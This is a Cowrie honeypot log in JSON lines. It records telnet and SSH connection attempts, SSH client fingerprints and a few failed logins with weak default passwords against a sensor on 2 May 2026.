{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":57048,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a61c7fd6622","protocol":"telnet","message":"New connection: 5.196.58.99:57048 (10.17.0.5:23) [session: 7a61c7fd6622]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:18:06.506045Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":57064,"dst_ip":"10.17.0.5","dst_port":23,"session":"46a8f7705b65","protocol":"telnet","message":"New connection: 5.196.58.99:57064 (10.17.0.5:23) [session: 46a8f7705b65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:18:07.476239Z"}
{"eventid":"cowrie.session.closed","duration":53.19411277770996,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:18:14.689194Z","src_ip":"174.138.46.234","session":"25f6bf729b7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":49874,"dst_ip":"10.17.0.5","dst_port":23,"session":"2935d92dd3fb","protocol":"telnet","message":"New connection: 5.196.58.99:49874 (10.17.0.5:23) [session: 2935d92dd3fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:18:21.782318Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.4.244.179","src_port":16352,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad5110ec00cb","protocol":"ssh","message":"New connection: 155.4.244.179:16352 (10.17.0.5:22) [session: ad5110ec00cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:18:22.880037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:18:22.911946Z","src_ip":"155.4.244.179","session":"ad5110ec00cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:18:23.013699Z","src_ip":"155.4.244.179","session":"ad5110ec00cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":49888,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a8602e4702a","protocol":"telnet","message":"New connection: 5.196.58.99:49888 (10.17.0.5:23) [session: 5a8602e4702a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:18:23.492125Z"}
{"eventid":"cowrie.login.failed","username":"user1","password":"welcome","message":"login attempt [user1/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:18:23.892003Z","src_ip":"155.4.244.179","session":"ad5110ec00cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:18:25.000510Z","src_ip":"155.4.244.179","session":"ad5110ec00cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.15299129486084,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:18:25.942799Z","src_ip":"5.196.58.99","session":"7d3ce5397e01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.26398515701294,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:18:28.116499Z","src_ip":"5.196.58.99","session":"a2947eb7962a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":52190,"dst_ip":"10.17.0.5","dst_port":23,"session":"838959cc5a73","protocol":"telnet","message":"New connection: 5.196.58.99:52190 (10.17.0.5:23) [session: 838959cc5a73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:18:29.532718Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":52198,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa831012a6bc","protocol":"telnet","message":"New connection: 5.196.58.99:52198 (10.17.0.5:23) [session: fa831012a6bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:18:32.169392Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":52676,"dst_ip":"10.17.0.5","dst_port":23,"session":"326ef5d91949","protocol":"telnet","message":"New connection: 5.196.58.99:52676 (10.17.0.5:23) [session: 326ef5d91949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:18:36.850029Z"}
{"eventid":"cowrie.session.closed","duration":30.549203872680664,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:18:37.055145Z","src_ip":"5.196.58.99","session":"7a61c7fd6622","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.658504009246826,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:18:38.134619Z","src_ip":"5.196.58.99","session":"46a8f7705b65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":52686,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca859c0fa243","protocol":"telnet","message":"New connection: 5.196.58.99:52686 (10.17.0.5:23) [session: ca859c0fa243]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:18:42.781554Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":59696,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5e53ff05cf9","protocol":"telnet","message":"New connection: 5.196.58.99:59696 (10.17.0.5:23) [session: d5e53ff05cf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:18:49.299258Z"}
{"eventid":"cowrie.session.closed","duration":30.296331882476807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:18:52.078533Z","src_ip":"5.196.58.99","session":"2935d92dd3fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.569112062454224,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:18:54.061125Z","src_ip":"5.196.58.99","session":"5a8602e4702a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":36902,"dst_ip":"159.203.135.109","dst_port":23,"session":"5535af2e4f3a","protocol":"telnet","message":"New connection: 174.138.46.234:36902 (159.203.135.109:23) [session: 5535af2e4f3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:18:54.624854Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":37286,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec014d3c4a80","protocol":"telnet","message":"New connection: 174.138.46.234:37286 (159.203.135.109:23) [session: ec014d3c4a80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:18:55.735722Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":37708,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fc00d4f5f2d","protocol":"telnet","message":"New connection: 174.138.46.234:37708 (159.203.135.109:23) [session: 1fc00d4f5f2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:18:56.981811Z"}
{"eventid":"cowrie.session.closed","duration":30.72932195663452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:19:00.261908Z","src_ip":"5.196.58.99","session":"838959cc5a73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.958986282348633,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:19:00.583730Z","src_ip":"174.138.46.234","session":"5535af2e4f3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.8412041664123535,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:19:01.576775Z","src_ip":"174.138.46.234","session":"ec014d3c4a80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.897756814956665,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:19:03.067075Z","src_ip":"5.196.58.99","session":"fa831012a6bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":57596,"dst_ip":"10.17.0.5","dst_port":23,"session":"54043a4e9b29","protocol":"telnet","message":"New connection: 5.196.58.99:57596 (10.17.0.5:23) [session: 54043a4e9b29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:19:04.142383Z"}
{"eventid":"cowrie.session.closed","duration":7.859785556793213,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:19:04.841506Z","src_ip":"174.138.46.234","session":"1fc00d4f5f2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.151602029800415,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:19:08.001547Z","src_ip":"5.196.58.99","session":"326ef5d91949","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86879539489746,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:19:13.650235Z","src_ip":"5.196.58.99","session":"ca859c0fa243","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":42850,"dst_ip":"159.203.135.109","dst_port":23,"session":"62176e7404b3","protocol":"telnet","message":"New connection: 174.138.46.234:42850 (159.203.135.109:23) [session: 62176e7404b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:19:14.384241Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":42856,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fabd1cf4804","protocol":"telnet","message":"New connection: 174.138.46.234:42856 (159.203.135.109:23) [session: 7fabd1cf4804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:19:14.411288Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":43428,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a802aea9772","protocol":"telnet","message":"New connection: 174.138.46.234:43428 (159.203.135.109:23) [session: 8a802aea9772]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:19:16.227777Z"}
{"eventid":"cowrie.session.closed","duration":30.752613306045532,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:19:20.051742Z","src_ip":"5.196.58.99","session":"d5e53ff05cf9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.778948545455933,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:19:20.163038Z","src_ip":"174.138.46.234","session":"62176e7404b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.008930206298828,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:19:22.236592Z","src_ip":"174.138.46.234","session":"8a802aea9772","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":56178,"dst_ip":"10.17.0.5","dst_port":23,"session":"3157845208c7","protocol":"telnet","message":"New connection: 5.196.58.99:56178 (10.17.0.5:23) [session: 3157845208c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:19:22.945244Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":45640,"dst_ip":"159.203.135.109","dst_port":23,"session":"171913590c83","protocol":"telnet","message":"New connection: 174.138.46.234:45640 (159.203.135.109:23) [session: 171913590c83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:19:23.555262Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.4.244.179","src_port":24504,"dst_ip":"10.17.0.5","dst_port":22,"session":"62d568c89a6c","protocol":"ssh","message":"New connection: 155.4.244.179:24504 (10.17.0.5:22) [session: 62d568c89a6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:19:25.022586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:19:25.029932Z","src_ip":"155.4.244.179","session":"62d568c89a6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:19:25.135188Z","src_ip":"155.4.244.179","session":"62d568c89a6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"123456","message":"login attempt [user3/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:19:26.086146Z","src_ip":"155.4.244.179","session":"62d568c89a6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:19:27.197524Z","src_ip":"155.4.244.179","session":"62d568c89a6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.08794903755188,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:19:29.643112Z","src_ip":"174.138.46.234","session":"171913590c83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93169641494751,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:19:35.073950Z","src_ip":"5.196.58.99","session":"54043a4e9b29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.48.213.208","src_port":11186,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f3368d31449","protocol":"ssh","message":"New connection: 185.48.213.208:11186 (10.17.0.5:22) [session: 6f3368d31449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:19:39.889391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:19:39.894181Z","src_ip":"185.48.213.208","session":"6f3368d31449","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:19:40.013369Z","src_ip":"185.48.213.208","session":"6f3368d31449","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"123456","message":"login attempt [vbox/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:19:40.520454Z","src_ip":"185.48.213.208","session":"6f3368d31449","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:19:41.646168Z","src_ip":"185.48.213.208","session":"6f3368d31449","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":36426,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6c93b9b2797","protocol":"telnet","message":"New connection: 5.196.58.99:36426 (10.17.0.5:23) [session: a6c93b9b2797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:19:43.639346Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.177","src_port":39492,"dst_ip":"10.17.0.5","dst_port":22,"session":"f67f66ce7bd0","protocol":"ssh","message":"New connection: 209.99.189.177:39492 (10.17.0.5:22) [session: f67f66ce7bd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:19:44.559260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:19:44.564026Z","src_ip":"209.99.189.177","session":"f67f66ce7bd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:19:44.690763Z","src_ip":"209.99.189.177","session":"f67f66ce7bd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"passwd123","message":"login attempt [test/passwd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:19:45.232584Z","src_ip":"209.99.189.177","session":"f67f66ce7bd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":50932,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5f35408485e","protocol":"telnet","message":"New connection: 5.196.58.99:50932 (10.17.0.5:23) [session: b5f35408485e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:19:45.250702Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":50938,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2bd6cfa800f","protocol":"telnet","message":"New connection: 5.196.58.99:50938 (10.17.0.5:23) [session: e2bd6cfa800f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:19:45.729840Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:19:46.362398Z","src_ip":"209.99.189.177","session":"f67f66ce7bd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":47082,"dst_ip":"10.17.0.5","dst_port":23,"session":"14d97e2f0fca","protocol":"telnet","message":"New connection: 20.123.41.163:47082 (10.17.0.5:23) [session: 14d97e2f0fca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:19:46.588948Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":59474,"dst_ip":"10.17.0.5","dst_port":23,"session":"f44dd032fd34","protocol":"telnet","message":"New connection: 5.196.58.99:59474 (10.17.0.5:23) [session: f44dd032fd34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:19:53.911301Z"}
{"eventid":"cowrie.session.closed","duration":30.972574472427368,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:19:53.917571Z","src_ip":"5.196.58.99","session":"3157845208c7","protocol":"telnet"}
